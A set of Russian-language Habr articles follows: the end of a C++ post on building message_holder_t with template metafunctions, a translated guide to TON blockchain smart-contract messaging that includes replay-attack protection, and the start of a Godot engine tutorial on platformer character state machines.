intrusive_ptr_t< Envelope > m_msg;
public :
using payload_type = Payload;
using envelope_type = Envelope;
basic_message_holder_impl_t() noexcept = default;
basic_message_holder_impl_t( intrusive_ptr_t< Envelope > msg ) noexcept
: m_msg{ std::move(msg) }
{}
void reset() noexcept { m_msg.reset(); }
[[nodiscard]]
bool empty() const noexcept { return static_cast( m\_msg ); }
[[nodiscard]]
operator bool() const noexcept { return !this->empty(); }
[[nodiscard]]
bool operator!() const noexcept { return this->empty(); }
};
```
У этого шаблонного класса два параметра. Первый, Payload, задает тип, который должны использовать методы-getter-ы. Тогда как второй, Envelope, задает тип для intrusive\_ptr. В случае, когда тип сообщения наследуется от `message_t` оба эти параметра будут иметь одинаковое значение. А вот если сообщение не наследуется от `message_t`, тогда в качестве Payload будет тип сообщения, а в качестве Envelope будет выступать `user_type_message_t`.
Думаю, что в основном содержимое этого класса не вызывает вопросов. Но отдельно следует обратить внимание на две вещи.
Во-первых, сам указатель, т.е. атрибут m\_msg, определен в protected секции для того, чтобы классы наследники имели к нему доступ.
Во-вторых, для этого класса сам компилятор генерирует все необходимые конструкторы и операторы копирования/перемещения. И на уровне этого класса мы пока ничего не запрещаем.
Отдельные базы для shared\_ptr- и unique\_ptr-поведения
-------------------------------------------------------
Итак, у нас есть класс, который хранит указатель на сообщение. Теперь мы можем определить его наследников, которые и будут вести себя либо как shared\_ptr, либо как unique\_ptr.
Начнем со случая shared\_ptr-поведения, т.к. здесь меньше всего кода:
```
template< typename Payload, typename Envelope >
class shared_message_holder_impl_t
: public basic_message_holder_impl_t
{
using direct\_base\_type = basic\_message\_holder\_impl\_t;
public :
using direct\_base\_type::direct\_base\_type;
[[nodiscard]] intrusive\_ptr\_t< Envelope >
make\_reference() const noexcept
{
return this->m\_msg;
}
};
```
Ничего сложного: наследуемся от `basic_message_holder_impl_t`, наследуем все его конструкторы и определяем простую, неразрушающую реализацию `make_reference()`.
Для случая unique\_ptr-поведения кода побольше, хотя сложного в нем ничего нет:
```
template< typename Payload, typename Envelope >
class unique_message_holder_impl_t
: public basic_message_holder_impl_t
{
using direct\_base\_type = basic\_message\_holder\_impl\_t;
public :
using direct\_base\_type::direct\_base\_type;
unique\_message\_holder\_impl\_t(
const unique\_message\_holder\_impl\_t & ) = delete;
unique\_message\_holder\_impl\_t(
unique\_message\_holder\_impl\_t && ) = default;
unique\_message\_holder\_impl\_t &
operator=( const unique\_message\_holder\_impl\_t & ) = delete;
unique\_message\_holder\_impl\_t &
operator=( unique\_message\_holder\_impl\_t && ) = default;
[[nodiscard]] intrusive\_ptr\_t< Envelope >
make\_reference() noexcept
{
return { std::move(this->m\_msg) };
}
};
```
Опять же, наследуемся от `basic_message_holder_impl_t` и наследуем у него нужные нам конструкторы (это конструктор по-умолчанию и инициализирующий конструктор). Но при этом определяем конструкторы и операторы копирования/перемещения в соответствии с логикой unique\_ptr: копирование запрещаем, перемещение реализуем.
Также у нас здесь разрушающий метод `make_reference()`.
Вот, собственно, все. Осталось только реализовать выбор между двумя этими базовыми классами...
### Выбор между shared\_ptr- и unique\_ptr-поведением
Для выбора между shared\_ptr- и unique\_ptr-поведением потребуется следующая метафункция (метафункция она потому, что "работает" с типами в компайл-тайм):
```
template< typename Msg, message_ownership_t Ownership >
struct impl_selector
{
static_assert( !is_signal::value,
"Signals can't be used with message\_holder" );
using P = typename message\_payload\_type< Msg >::payload\_type;
using E = typename message\_payload\_type< Msg >::envelope\_type;
using type = std::conditional\_t<
message\_ownership\_t::autodetected == Ownership,
std::conditional\_t<
message\_mutability\_t::immutable\_message ==
message\_mutability\_traits::mutability,
shared\_message\_holder\_impl\_t,
unique\_message\_holder\_impl\_t >,
std::conditional\_t<
message\_ownership\_t::shared == Ownership,
shared\_message\_holder\_impl\_t,
unique\_message\_holder\_impl\_t >
>;
};
```
Эта метафункция принимает оба параметра из списка параметров `message_holder_t` и в качестве результата (т.е. определения вложенного типа `type`) "возвращает" тип, от которого следует отнаследоваться. Т.е. либо `shared_message_holder_impl_t`, либо `unique_message_holder_impl_t`.
Внутри определения `impl_selector` можно увидеть следы той магии, о которой говорилось выше, и в которую мы не углублялись: `message_payload_type::payload\_type`, `message_payload_type::envelope\_type` и `message_mutability_traits::mutability`.
А для того, чтобы использовать метафункцию `impl_selector` было проще, следом определим более короткое имя для нее:
```
template< typename Msg, message_ownership_t Ownership >
using impl_selector_t = typename impl_selector::type;
```
База для getter-ов
------------------
Итак, у нас уже есть возможность выбрать базу, которая содержит указатель и определяет поведение "умного указателя". Теперь нужно снабдить эту базу методами-getter-ами. Для чего нам потребуется один простой класс:
```
template< typename Base, typename Return_Type >
class msg_accessors_t : public Base
{
public :
using Base::Base;
[[nodiscard]] Return_Type *
get() const noexcept
{
return get_ptr( this->m_msg );
}
[[nodiscard]] Return_Type &
operator * () const noexcept { return *get(); }
[[nodiscard]] Return_Type *
operator->() const noexcept { return get(); }
};
```
Это шаблонный класс, который зависит от двух параметров, но их смысл уже совсем другой. В качестве параметра Base будет выступать результат показанной выше метафункции `impl_selector`. Т.е. в качестве параметра Base задается базовый класс, от которого нужно отнаследоваться.
Важно отметить, что если наследование происходит от `unique_message_holder_impl_t`, у которого конструктор и оператор копирования запрещены, то компилятор не сможет сгенерировать конструктор и оператор копирования для `msg_accessors_t`. Что нам и требуется.
В качестве параметра Return\_Type будет выступать тип сообщения, указатель/ссылку на который будет возвращаться getter-ами. Фокус в том, что для иммутабельного сообщения типа `Msg` параметр Return\_Type будет иметь значение `const Msg`. Тогда как для мутабельного сообщения типа `Msg` параметр Return\_Type будет иметь значение `Msg`. Таким образом метод `get()` для иммутабельных сообщений будет возвращать `const Msg*`, а для мутабельных — просто `Msg*`.
Посредством свободной функции `get_ptr()` решается проблема работы с сообщениями, которые не отнаследованны от `message_t`:
```
template< typename M >
M * get_ptr( const intrusive_ptr_t & msg ) noexcept
{
return msg.get();
}
template< typename M >
M \* get\_ptr( const intrusive\_ptr\_t< user\_type\_message\_t > & msg ) noexcept
{
return std::addressof(msg->m\_payload);
}
```
Т.е. если сообщение не наследуется от `message_t` и хранится как `user_type_message_t`, то вызывается вторая перегрузка. А если наследуется, то первая перегрузка.
### Выбор конкретной базы для getter-ов
Итак, шаблон `msg_accessors_t` требует два параметра. Первый вычисляется метафункцией `impl_selector`. Но для того, чтобы сформировать конкретный базовый тип из `msg_accessors_t`, нам нужно определиться со значением второго параметра. Для этого предназначена еще одна метафункция:
```
template< message_mutability_t Mutability, typename Base >
struct accessor_selector
{
using type = std::conditional_t<
message_mutability_t::immutable_message == Mutability,
msg_accessors_t,
msg\_accessors\_t >;
};
```
Обратить внимание можно разве что на вычисление параметра Return\_Type. Один из тех немногих случаев, когда east const оказывается полезен ;)
Ну и, для повышения читабельности последующего кода, более компактный вариант для работы с ней:
```
template< message_mutability_t Mutability, typename Base >
using accessor_selector_t = typename accessor_selector::type;
```
Итоговый наследник message\_holder\_t
-------------------------------------
Теперь можно посмотреть на то, что же из себя представляет `message_holder_t`, для реализации которого потребовались все эти базовые классы и метафункции (из реализации удалена часть методов для конструирования экземпляра хранящегося в message\_holder-е сообщения):
```
template<
typename Msg,
message_ownership_t Ownership = message_ownership_t::autodetected >
class message_holder_t
: public details::message_holder_details::accessor_selector_t<
details::message_mutability_traits::mutability,
details::message\_holder\_details::impl\_selector\_t >
{
using base\_type = details::message\_holder\_details::accessor\_selector\_t<
details::message\_mutability\_traits::mutability,
details::message\_holder\_details::impl\_selector\_t >;
public :
using payload\_type = typename base\_type::payload\_type;
using envelope\_type = typename base\_type::envelope\_type;
using base\_type::base\_type;
friend void
swap( message\_holder\_t & a, message\_holder\_t & b ) noexcept
{
using std::swap;
swap( a.message\_reference(), b.message\_reference() );
}
};
```
По сути все то, что мы разбирали выше, потребовалось для того, чтобы записать вот этот "вызов" двух метафункций:
```
details::message_holder_details::accessor_selector_t<
details::message_mutability_traits::mutability,
details::message\_holder\_details::impl\_selector\_t >
```
Т.к. это не первый вариант, а результат упрощения и сокращения кода, то могу сказать, что компактные формы метафункций ну очень сильно уменьшают объем кода и увеличивают его понятность (если о понятности здесь вообще уместно говорить).
А что было бы, если бы...
=========================
А вот если бы в C++ `if constexpr` был настолько же мощен, как `static if` в D, то можно было бы написать что-то вроде:
**Гипотетический вариант с более продвинутым if constexpr**
```
template<
typename Msg,
message_ownership_t Ownership = message_ownership_t::autodetected >
class message_holder_t
{
static constexpr const message_mutability_t Mutability =
details::message_mutability_traits::mutability;
static constexpr const message\_ownership\_t Actual\_Ownership =
(message\_ownership\_t::unique == Ownership ||
(message\_mutability\_t::mutable\_msg == Mutability &&
message\_ownership\_t::autodetected == Ownership)) ?
message\_ownership\_t::unique : message\_ownership\_t::shared;
public :
using payload\_type = typename message\_payload\_type< Msg >::payload\_type;
using envelope\_type = typename message\_payload\_type< Msg >::envelope\_type;
private :
using getter\_return\_type = std::conditional\_t<
message\_mutability\_t::immutable\_msg == Mutability,
payload\_type const,
payload\_type >;
public :
message\_holder\_t() noexcept = default;
message\_holder\_t(
intrusive\_ptr\_t< envelope\_type > mf ) noexcept
: m\_msg{ std::move(mf) }
{}
if constexpr(message\_ownership\_t::unique == Actual\_Ownership )
{
message\_holder\_t(
const message\_holder\_t & ) = delete;
message\_holder\_t(
message\_holder\_t && ) noexcept = default;
message\_holder\_t &
operator=( const message\_holder\_t & ) = delete;
message\_holder\_t &
operator=( message\_holder\_t && ) noexcept = default;
}
friend void
swap( message\_holder\_t & a, message\_holder\_t & b ) noexcept
{
using std::swap;
swap( a.m\_msg, b.m\_msg );
}
[[nodiscard]] getter\_return\_type \*
get() const noexcept
{
return get\_const\_ptr( m\_msg );
}
[[nodiscard]] getter\_return\_type &
operator \* () const noexcept { return \*get(); }
[[nodiscard]] getter\_return\_type \*
operator->() const noexcept { return get(); }
if constexpr(message\_ownership\_t::shared == Actual\_Ownership)
{
[[nodiscard]] intrusive\_ptr\_t< envelope\_type >
make\_reference() const noexcept
{
return m\_msg;
}
}
else
{
[[nodiscard]] intrusive\_ptr\_t< envelope\_type >
make\_reference() noexcept
{
return { std::move(m\_msg) };
}
}
private :
intrusive\_ptr\_t< envelope\_type > m\_msg;
};
```
Как по мне, так отличия слишком уж разительны. И они не в пользу текущего C++ :(
(разобранный выше C++ный код в виде одной сплошной "портянки" можно увидеть [здесь](https://gist.github.com/eao197/d094659467996207c39e68b61f25ee23)).
Кстати говоря, я не очень сильно слежу за тем, что происходит в области предложений по метапрограммированию и рефлексии для будущих версий С++. Но из того, что помню, складывается ощущение, что предлагавшиеся Саттером метаклассы не очень упростят вот эту конкретную задачу. Как я понимаю, посредством метаклассов можно будет написать генератор классов `message_holder_t`. Может быть такой генератор получится и несложным в написании, но вряд ли такой подход в данном конкретном случае окажется выразительнее и понятнее, чем в случае действительно продвинутого `if constexpr`.
Заключение
==========
Как по мне, так этот пример показывает весь блеск и нищету C++. Да, можно сотворить все что угодно. В смысле, можно сделать шаблонный класс, содержимое которого будет кардинально меняться в зависимости от параметров шаблона.
Но вот чтобы сделать это придется несколько поломать мозги и написать на шаблонах столько вспомогательного кода, что копаться во всем этом не будет желания даже у автора.
Тем не менее, сам факт того, что на С++ можно такое сотворить, меня лично радует. Огорчает количество труда и объем кода, который для этого потребуется. Но, надеюсь, что со временем объем этого кода и его сложность будет только сокращаться. В принципе, это видно уже сейчас. Ибо для C++98/03 я даже не взялся бы такой трюк проделывать, тогда как начиная с C++11 делать подобное становится все проще и проще. | https://habr.com/ru/post/449122/ | null | ru | null |
# TON: рекомендации и лучшие практики
Эта статья является переводом документа, опубликованного на странице блокчейна TON: [smc-guidelines.txt](https://test.ton.org/smc-guidelines.txt). Возможно кому-то это поможет сделать шаг в сторону разработки для этого блокчейна. Также, в конце я сделал краткое резюме.
Внутренние сообщения
--------------------
Cмарт-контракты взаимодействуют друг с другом посредством отправления так называемых внутренних сообщений ("internal messages"). Когда внутреннее сообщение достигает его указанного назначения, создается обычная транзакция на имя аккаунта назначения, и внутреннее сообщение обрабатывается согласно указанному коду и постоянных данных этого аккаунта (смарт контракта). В частности, транзакция обработки может создавать одно или более внутренних сообщений, некоторые из которых могут быть адресованы исходному адресу обрабатываемого внутреннего сообщения. Это может быть использовано для создания простых "клиент-серверных приложений", когда запрос встраивается (инкапсулируется) во внутреннее сообщение и отправляется другому смарт-контракту, который обрабатывает запрос и отправляет ответ назад, снова как внутреннее сообщение.
Этот подход приводит к необходимости различать внутренние сообщения на "запрос" и "ответ" (as a "query" or as a "response"), или не требующие какой-либо дополнительной обработки (такие как простой перевод денег). Кроме того, когда приходит ответ, должен быть способ понять к какому запросу он относится.
Чтобы достичь этой цели, рекомендуется использовать следующий шаблон внутренних сообщений (при этом помните, что блокчейн TON не навязывает никаких ограничений на тело сообщения, то есть это просто рекомендации):
0) Тело сообщения может быть внедрено в само сообщение, или может храниться в отдельной ячейке (cell\*), на которую есть ссылка в сообщении, как указано во фрагменте TL-B схемы (на английском проще для понимания: or be stored in a separate cell referred to from the message, as indicated by the TL-B scheme fragment):
```
message$_ {X:Type} ... body:(Either X ^X) = Message X;
```
(<https://core.telegram.org/mtproto> — здесь можно почитать о TL-схемах)
Принимающий смарт-контракт должен принимать по крайней мере внутренние сообщения со встроенным телом сообщения (даже если они помещены в ячейку, содержащую сообщение — whenever they fit into the cell containing the message — не очень понятно, что это значит, поэтому прикрепил оригинал текста). Если контракт принимает тела сообщений в отдельных ячейках (используя "right" конструктор `(Either X ^X)`), обработка входящего сообщения не должна зависеть от конкретного способа внедрения тела сообщения. С другой стороны, совершенно законно (valid) вообще не поддерживать тело сообщения в отдельной ячейке для упрощения запросов и ответов.
1) Тело сообщения обычно начинается со следующих полей:
* *op* — 32-bit (big-endian) unsigned integer, идентифицирующее операцию для исполнения, или метод смарт-контракта для вызова.
* *query\_id* — 64-bit (big-endian) unsigned integer, используемое во всех внутренних сообщениях типа вопрос-ответ, чтобы идентифицировать связь ответа с запросом (*query\_id* ответа должен равняться *query\_id* соответствующего запроса). Если *op* — не метод типа "запрос-ответ" (он вызывает метод, от которого не ожидается ответ), то *query\_id* может быть упущен.
* оставшаяся часть тела сообщения специфична для каждого поддерживаемого значения параметра *op*
2) Если *op* равен нулю, то сообщение — это простое трансферное сообщение с комментарием. Комментарий содержится в оставшейся части сообщения (без *query\_id* и прочего, то есть начиная с 5-ого байта (пояснение: если *query\_id* нет, то первые 4 байта занимает поле *op*)). Если он не начинается с байта 0xff, то комментарий — это простой текст (If it does not begin with the byte 0xff, the comment is a text one;); он может быть отображен конечному пользователю кошелька "как есть" (после фильтрации невалидных символов и символов управления (invalid and control characters) и проверки что это корректная UTF-8 строка). Например, пользователи могут указать цель простого перевода с их кошелька на кошелек другого пользователя в этом поле. С другой стороны, если комментарий начинается с байта 0xff, остаток сообщения — это "бинарный комментарий", который не должен отображаться конечному пользователю как текст (только как hex dump если необходимо). Предлагаемое использование бинарных комментариев, например, — содержать идентификатор платежа для оплаты в магазине, и быть автоматически сгенерированным и обработанным программным обеспечением магазина.
Большинство смарт-контрактов не должны выполнять нетривиальные действия или отклонять входящее сообщение при получении "простого сообщения о передаче". Таким образом, когда *op* оказывается нулем, функция смарт-контракта для обработки входящих внутренних сообщений (обычно называемая `recv_internal()`) должна немедленно завершаться с кодом 0, обозначая успешное выполнение (например, выбрасывая исключение 0, если в смарт-контракте не установлен пользовательский обработчик исключений). Это приведет к тому, что на счет получателя будет зачислена сумма, переданная сообщением, без какого-либо дальнейшего эффекта.
3) "Простое сообщение передачи без комментариев" имеет пустое тело (даже без поля *op*). Приведенные выше соображения применимы и к таким сообщениям. Обратите внимание, что такие сообщения должны иметь своё тело, встроенное в ячейку сообщения.
4) Мы ожидаем, что поле *op* сообщений-запросов будет иметь первый бит ("high-order bit", перевел как первый, это может быть некорректно, но по объяснению дальше становится понятно) пустым, то есть значение поля должно быть в диапазоне `1 .. 2^31-1`, а у сообщений ответов первый (high-order) бит должен быть равен 1, то есть значение поля в диапазоне `2^31 .. 2^32-1`. Если сообщение не является ни запросом, ни ответом (тело не содержит параметра *query\_id*), то оно должно содержать параметр *op* в диапазоне, как у сообщения-запроса: `1 .. 2^31 - 1`.
5) Существует несколько "стандартных" сообщений-ответов, у которых *op* равен 0xffffffff и 0xffffffffe. В общем случае значения *op* от 0xfffffff0 до 0xffffffff зарезервированы для таких стандартных ответов.
* *op = 0xffffffff* означает "операция не поддерживается". За ним следует 64-разрядный *query\_id*, извлеченный из исходного запроса, и 32-разрядный *op* исходного запроса. Все, кроме самых простых смарт-контрактов, должны возвращать эту ошибку, когда они получают запрос с неизвестным *op* в диапазоне 1… 2^31-1.
* *op = 0xfffffffe* означает "операция не разрешена". За ним следует 64-разрядный *query\_id* исходного запроса, а затем 32-разрядный *op*, извлеченный из исходного запроса.
Обратите внимание, что неизвестные "ответы" (с *op* в диапазоне 2^31… 2^32-1) следует игнорировать (в частности, в ответ на них не следует генерировать ответ с *op* равным 0xffffffff), так же как и неожиданные возвратные(bounced)-сообщения (с установленным флагом "bounced").
Оплата за обработку запросов и отправление ответов
--------------------------------------------------
В общем, если смарт-контракт хочет отправить запрос другому смарт-контракту, он должен заплатить за отправку внутреннего сообщения в целевой смарт-контракт (плата за пересылку сообщений: message forwarding fees), за обработку этого сообщения в пункте назначения (плата за газ: gas fees) и за отправку ответа, если это требуется (плата за пересылку сообщений: message forwarding fees).
В большинстве случаев отправитель прикрепит к внутреннему сообщению небольшое количество gram (например, 1 gram) (достаточное для оплаты обработки этого сообщения) и установит на нем флаг "bounce" (т. е. отправит возвращаемое (bounceable) внутреннее сообщение); получатель вернет неиспользованную часть полученного значения с ответом (вычитая из него плату за пересылку сообщения). Это обычно достигается путем вызова SENDRAWMSG с mode=64 (ср. Приложение а к документации TON VM).
Если получатель не может обработать полученное сообщение и выполнение завершается с ненулевым кодом выхода (например, из-за необработанного исключения десериализации ячейки), сообщение будет автоматически "возвращено" ("bounced") обратно отправителю, при этом флаг "bounce" будет снят и установлен флаг "bounced". Тело возвращенного (bounced) сообщения будет таким же, как и у исходного сообщения; поэтому важно проверить флаг "bounced" входящего внутреннего сообщения перед разбором поля *op* в смарт-контракте и обработкой соответствующего запроса (в противном случае существует риск того, что запрос, содержащийся в отскочившем сообщении, будет обработан его исходным отправителем как новый отдельный запрос). Если флаг "bounced" установлен, специальный код может понять, какой запрос не удался (например, путем десериализации *op* и *query\_id* из отскочившего сообщения) и предпринять соответствующие действия. Более простой смарт-контракт может просто игнорировать все возвращенные сообщения (завершить с нулевым кодом выхода, если установлен флаг "bounced").
С другой стороны, получатель может успешно проанализировать входящий запрос и обнаружить, что запрошенный метод *op* не поддерживается или что выполнено другое условие ошибки. Тогда ответ с *op* равным 0xffffffff или другим соответствующим значением должен быть отправлен обратно, используя SENDRAWMSG с mode=64, как упоминалось выше.
В некоторых ситуациях отправитель хочет одновременно и передать некоторое количество денег? отправителю? (тут видимо, ошибка, и имелось в виду "получателю") и получить либо подтверждение, либо сообщение об ошибке. Например, смарт-контракт "валидатор выборов" (validator elections) получает запрос на участие в выборах вместе со ставкой в качестве присоединенной стоимости. В таких случаях имеет смысл приложить, скажем, один лишний грамм к предполагаемому значению [стоимости] (Здесь везде используется слово value, в значении оплаты за какое-то действие, поэтому я использовал слово "стоимость"). Если произошла ошибка (например, ставка не может быть принята по какой-либо причине), полная полученная сумма (за вычетом платы за обработку) должна быть возвращена отправителю вместе с сообщением об ошибке (например, с помощью SENDRAWMSG с mode=64, как описано выше). В случае успеха создается подтверждающее сообщение и ровно один грам отправляется обратно (при этом плата за передачу сообщения вычитается из этого значения; это mode=1 of SENDRAWMSG).
Использование невозвратных (non-bounceable) сообщений
-----------------------------------------------------
Почти все внутренние сообщения, отправленные между смарт-контрактами, должны быть возвращаемыми (можно перевести как "отскакивающими", но чтобы не запутаться, легче использовать такую терминологию), т. е. должны иметь бит "bounce" непустым. Тогда, если целевой смарт-контракт не существует, или если он создает необработанное исключение при обработке этого сообщения, сообщение будет "возвращено" обратно, неся остаток исходной стоимости (value) (за вычетом всех сборов за передачу сообщений и газа). Возвращенное сообщение будет иметь то же самое тело, но с очищенным флагом "bounce" и установленным флагом "bounced". Поэтому все смарт-контракты должны проверять флаг "bounced" всех входящих сообщений и либо молча принимать их (немедленно завершая с нулевым кодом выхода), либо выполнять некоторую специальную обработку, чтобы определить, какой исходящий запрос не удался. Запрос, содержащийся в теле возвращенного сообщения, никогда не должен выполняться.
В некоторых случаях необходимо использовать невозвратные (non-bounceable) внутренние сообщения. Например, новый аккаунт не могут быть созданы без по крайней мере одного невозвратного внутреннего сообщения, отправленного ему. Если это сообщение не содержит StateInit с кодом и данными нового смарт-контракта, не имеет смысла иметь непустое тело в невозвратном внутреннем сообщении.
Это хорошая идея, не позволять конечному пользователю (например, кошелька) отправлять невозвратные сообщения, несущие большую сумму (например, больше пяти грам), или, по крайней мере, предупредить их, если они пытаются это сделать. Лучше сначала отправить небольшую сумму, потом создать новый смарт-контракт, и затем отправить сумму по-больше.
Внешние сообщения
-----------------
Внешние сообщения отправляются извне на смарт-контракты, находящиеся в блокчейне TON, чтобы заставить их выполнять определенные действия. Например, смарт-контракт кошелька ожидает получения внешних сообщений, содержащих команды (orders) (например, внутренние сообщения, которые будут отправлены из смарт-контракта кошелька), подписанные владельцем кошелька; когда такое внешнее сообщение получено смарт-контрактом кошелька, он сначала проверяет подпись, затем принимает сообщение (запустив примитив TVM ACCEPT), а затем выполняет все необходимые действия.
Обратите внимание, что все внешние сообщения, должны быть защищены от атак повтора (replay attacks). Валидаторы обычно удаляют внешнее сообщение из пула предлагаемых внешних сообщений (полученных из сети); однако в некоторых ситуациях другой валидатор может обработать одно и то же внешнее сообщение дважды (таким образом, создается вторая транзакция для одного и того же внешнего сообщения, что приводит к дублированию исходного действия). Что еще хуже, злоумышленник может извлечь внешнее сообщение из блока, содержащего транзакцию обработки, и повторно отправить его позже. Это может заставить, например, смарт-контракт кошелька повторить платеж.
Самым простым способом защиты смарт-контрактов от атак повтора, связанных с внешними сообщениями, является хранение 32-битного счетчика *cur-seqno* в постоянных данных смарт-контракта и ожидание значения *req-seqno* в (подписанной части) любых входящих внешних сообщений. Тогда внешнее сообщение принимается (ACCEPTed — намек на примитив ACCEPT) только в случае, если и подпись действительна, и *req-seqno* равно *cur-seqno*. После успешной обработки значение *cur-seqno* в постоянных данных увеличивается на единицу, поэтому одно и то же внешнее сообщение больше никогда не будет принято.
Можно также включить поле *expire-at* во внешнее сообщение и принимать сообщение только в том случае, если текущее Unix-время меньше значения этого поля. Этот подход может использоваться в сочетании с *seqno*; в качестве альтернативы, принимающий смарт-контракт может хранить набор (хэши) всех последних (не истекших) принятых внешних сообщений в своих постоянных данных и отклонять новое внешнее сообщение, если оно является дубликатом одного из сохраненных сообщений. Также следует реализовать сбор и удаление просроченных сообщений в этом наборе, чтобы избежать неограниченного роста постоянных данных.
Как правило, внешнее сообщение начинается с 256-битной подписи (при необходимости), 32-битного *req-seqno* (при необходимости), 32-битного *expire-at* (при необходимости) и, возможно, 32-битного *op* и других необходимых параметров в зависимости от *op*. Шаблон внешних сообщений не должен быть таким же стандартизированным, как шаблон внутренних, поскольку внешние сообщения не используются для взаимодействия между различными смарт-контрактами (написанными разными разработчиками и управляемыми разными владельцами).
Get-методы
----------
Ожидается, что некоторые смарт-контракты реализуют определенные четко определенные get-методы. Например, любой смарт-контракт dns-резолвера для TON DNS, как ожидается, реализует get-метод "dnsresolve". Пользовательские смарт-контракты могут определять свои конкретные get-методы. Наша единственная общая рекомендация на данный момент — реализовать get-метод "seqno" (без параметров), который возвращает текущий *seqno* смарт-контракта, который использует порядковые номера для предотвращения атак воспроизведения, связанных с входящими внешними методами, всякий раз, когда такой метод имеет смысл.
Словарь:
* Cell (ячейка) — A TVM cell consists of at most 1023 bits of data, and of at most four references to other cells. All persistent data (including TVM code) in the TON Blockchain is represented as a collection of TVM cells (cf. [1, 2.5.14]). — ячейка TVM состоит не более чем из 1023 бит данных и не более чем из четырех ссылок на другие ячейки. Все постоянные данные (включая код TVM) в блокчейне TON представлены в виде набора ячеек TVM (ср. [1, 2.5.14]). — выдержка из TON Virtual Machine description (<https://test.ton.org/tvm.pdf>)
Какие можно сделать выводы на основе прочитанного?
--------------------------------------------------
1. Можно отправлять внешние сообщения контрактам, чтобы вызвать какое-либо действие.
2. Атаки — есть, например, атаки повтора
3. Стоит делать метод *seqno* для защиты от атак повтора
4. У dns-резолверов — метод dnsresolve
5. Можно хранить хэши внешних сообщений для защиты от атак, но их нужно вовремя удалять, для этого стоит использовать поле *expired\_at* у внешних сообщений
6. Невозвратные сообщения нужны только для создания контрактов, в остальном — все внутренние сообщения возвратные
7. Сообщения типа запрос-ответ должны содержать поля: *op, query\_id* — необязательное, и еще некоторые зависящие от значения *op*
8. К сообщению можно прикреплять текстовые комментарии в формате UTF-8 для людей и “бинарные комментарии” для автоматического чтения и обработки сторонним ПО
9. Стоит обрабатывать исключения и делать это грамотно
10. "Простое сообщение передачи без комментариев" — должно иметь пустое тело
11. High-order bit сообщений типа запрос-ответ принимает значение 0 для сообщений-запросов, и значение 1 для сообщений-ответов
12. Есть стандартные значения op для сообщений ответов для идентификации ошибок
13. Если пришло сообщение-ответ с неизвестным op, его стоит проигнорировать, то есть завершить исполнение с кодом 0
14. Платить надо за пересылку сообщений, за gas и за пересылку ответа. При этом, если отправил больше, чем нужно — лишнее вернется в ответе.
15. При поступлении сообщений всегда сперва стоит проверять флаг *bounced*
Спасибо за внимание, буду рад конструктивному фидбэку! | https://habr.com/ru/post/470772/ | null | ru | null |
# Механики для реализации платформера на Godot engine. 2 часть
Здравствуйте, это продолжение предыдущей статьи о создании игрового персонажа в GodotEngine. Я наконец понял, как реализовать некоторые механики, такие как второй прыжок в воздухе, карабканье по, и прыжок от стены. Первая часть была более простой по насыщенности, так как с чего-то же нужно было начинать, чтобы потом доработать или переделать.
Ссылки на предыдущие статьи
* [1 часть](https://habr.com/ru/post/521882/)
Для начала я решил собрать весь предыдущий код, чтобы те, кто использовали информацию из предыдущей статьи поняли, как я представлял себе программу полностью:
```
extends KinematicBody2D
# Константы
const GRAVITY: int = 40
const MOVE_SPEED: int = 120 # Скорость перемещения персонажа в пикселях
const JUMP_POWER: int = 80 # Скорость прыжка
# Переменные
var velocity: Vector2 = Vector2.ZERO
func _physics_process(_delta: float) -> void:
# Ниже вставлять вызовы функций перемещения
move_character() # Перемещение персонажа
jump()
# Ниже можно ничего не трогать
self.velocity.y += GRAVITY
self.velocity = self.move_and_slide(self.velocity, Vector2(0, -1))
func move_character() -> void:
var direction: float = Input.get_action_strength("ui_right") - Input.get_action_strength("ui_left")
self.velocity.x = direction * MOVE_SPEED
func jump() -> void:
if self.is_on_floor():
if Input.is_action_pressed("ui_accept"): # Я вспомнил про событие ui_accept
# Оно вмещает в себя нажатие прыжка
self.velocity.y -= JUMP_POWER
```
Надеюсь тем, кто читал предыдущую статью стало примерно понятно, как всё работает. Теперь вернёмся к разработке.
Машина состояний
----------------
Машина состояний(в моём понимании) — часть программы, что определяет состояние чего либо: в воздухе, на полу, на потолке, или на стене, а также определяет что должно происходить с персонажем в том или ином месте. В GodotEngine есть такая вещь как enum, что создаёт перечисление, где каждый элемент является, заданной в коде, константой. Думаю лучше покажу это на примере:
```
enum States { # Создаётся перечисление States, к константам которого можно обращаться через States.IN_AIR, States.ON_FLOOR...
IN_AIR, # В воздухе
ON_FLOOR, # На полу
ON_WALL # На стене
}
```
Данный код можно смело положить в самое начало скрипта игрового персонажа и держать в голове, что он существует. Следом инициализируем переменную в нужном месте var current\_state: int = States.IN\_AIR, которая равна нулю, если использовать print. Далее нужно как-то определять что игрок в текущем состоянии будет делать. Думаю многим опытным разработчикам пришедшим из C++ знакома конструкция switch () {case:}. В GDScript есть похожая адаптированная конструкция, хотя и switch также есть в планах у разработчиков. Конструкция называется match.
Думаю будет правильнее показать данную конструкцию в деле, так как рассказывать будет сложнее, чем показывать:
```
func _physics_process(_delta: float) -> void:
# Ниже функции перемещения
match (self.current_state):
States.IN_AIR:
# Вызов методов что доступны в воздухе.
self.move_character()
States.ON_FLOOR:
# Вызов методов, что доступны на земле.
self.move_character()
self.jump()
States.ON_WALL:
# вызов методов, что доступны, если мы упремся лицом в стену. Пока кроме перемещения ничего нет.
self.move_character()
# Ниже будет остальной код
```
Но мы до сих пор не меняем состояния. Нужно создать отдельную функцию, которую будем вызывать перед match-ем, чтобы изменять переменную current\_state которую стоит добавить в код к остальным переменным. А функцию назовём update\_state().
```
func update_state() -> void:
# Тут всё зависит от запланированных разработчиком возможностей персонажа.
if self.is_on_floor():
self.current_state = self.States.ON_FLOOR
elif self.is_on_wall() and !self.is_on_floor():
# Когда персонаж только на стене.
self.current_state = self.States.ON_WALL
elif self.is_on_wall() and self.is_on_floor():
# Ситуация угла. Будем в данном случае на стене.
self.current_state = self.States.ON_WALL
else: # Во всех других случаях будем в воздухе
self.current_state = self.states.IN_AIR
```
Теперь, когда машина состояний готова, мы можем добавлять уйму функций. В том числе и добавить анимации к персонажу… Даже не так… Мы можем добавить тонну анимаций персонажу. Система стала модульной. Но на этом мы не закончили с кодом. Я сказал в начале, что покажу, как делать дополнительный прыжок в воздухе, карабканье по, и прыжок от стены. Начнём по порядку.
Дополнительный прыжок в воздухе
-------------------------------
Во-первых, добавьте вызов прыжка в состоянии States.IN\_AIR в наш match, который мы чуток доработаем.
Вот код нашего прыжка, который я исправил:
```
func jump() -> void:
# Старую проверку в мусор. Мы сделаем её позже.
if Input.is_action_pressed("ui_accept"): # Назначаем в настройках событие
if self.current_state == self.States.ON_FLOOR:
# Как раньше, но добавляем проверку через текущее_состояние
self.velocity.y -= JUMP_POWER
